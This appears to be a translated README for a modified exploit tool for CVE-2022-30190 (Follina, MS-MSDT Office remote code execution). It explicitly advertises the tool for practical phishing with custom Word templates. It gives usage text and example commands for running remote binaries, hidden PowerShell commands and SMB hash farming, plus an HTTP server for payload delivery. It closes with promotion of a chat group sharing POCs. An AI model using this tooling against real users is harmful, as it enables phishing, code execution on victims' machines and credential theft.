
أداة استغلال معدلة لـ CVE-2022-30190 لـ MS-MSDT Office RCE مع دعم قالب docx مخصص، وأوضاع تنفيذ ثنائي/أوامر، وخادم HTTP مدمج لتسليم الحمولة عن بُعد.
هذا المشروع مستند إلى https://github.com/chvancooten/follina.py مع تعديلات، حيث يمكن تخصيص ملف قالب docx محدد، وهو مناسب للاستخدام في التصيّد (Phishing) العملي. بعد تحرير مستند Word للتصيّد بنفسك، حدّده عبر المعامل -f.
usage: follina.py [-h] -m {binary,command} [-b BINARY] [-f FILE] [-c COMMAND] [-u URL] [-H HOST] [-P PORT]
optional arguments:
-h, --help show this help message and exit
Required Arguments:
-m {binary,command}, --mode {binary,command}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Docx file Arguments:
-f FILE, --file FILE The docx file
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
القالب الافتراضي muban.docx
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe
python .\follina.py -m binary -b \windows\system32\calc.exe -f muban2.docx
# On linux you may have to escape backslashes
python .\follina.py -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080


إذا كنت مهتمًا، يمكنك متابعة حساب Z2O安全攻防 على WeChat والرد بكلمة “加群”، لإضافة Z2OBot 小K الذي سيضيفك تلقائيًا إلى مجموعة Z2O安全攻防 للتواصل لمشاركة المزيد من المحتوى المفيد.



أسس الفريق أيضًا "Knowledge Planet" (معرفة الكوكب)، حيث يتم تحديث أحدث عمليات إعادة استغلال الثغرات من وقت لآخر، ونعلّمك خطوة بخطوة، كما ننشر بشكل دوري أكواد POC وتقنيات اختبار الاختراق الداخلية والخارجية. يمكنك الانضمام إذا كنت مهتمًا.




نرحب بعمل نجمة⭐ O(∩_∩)O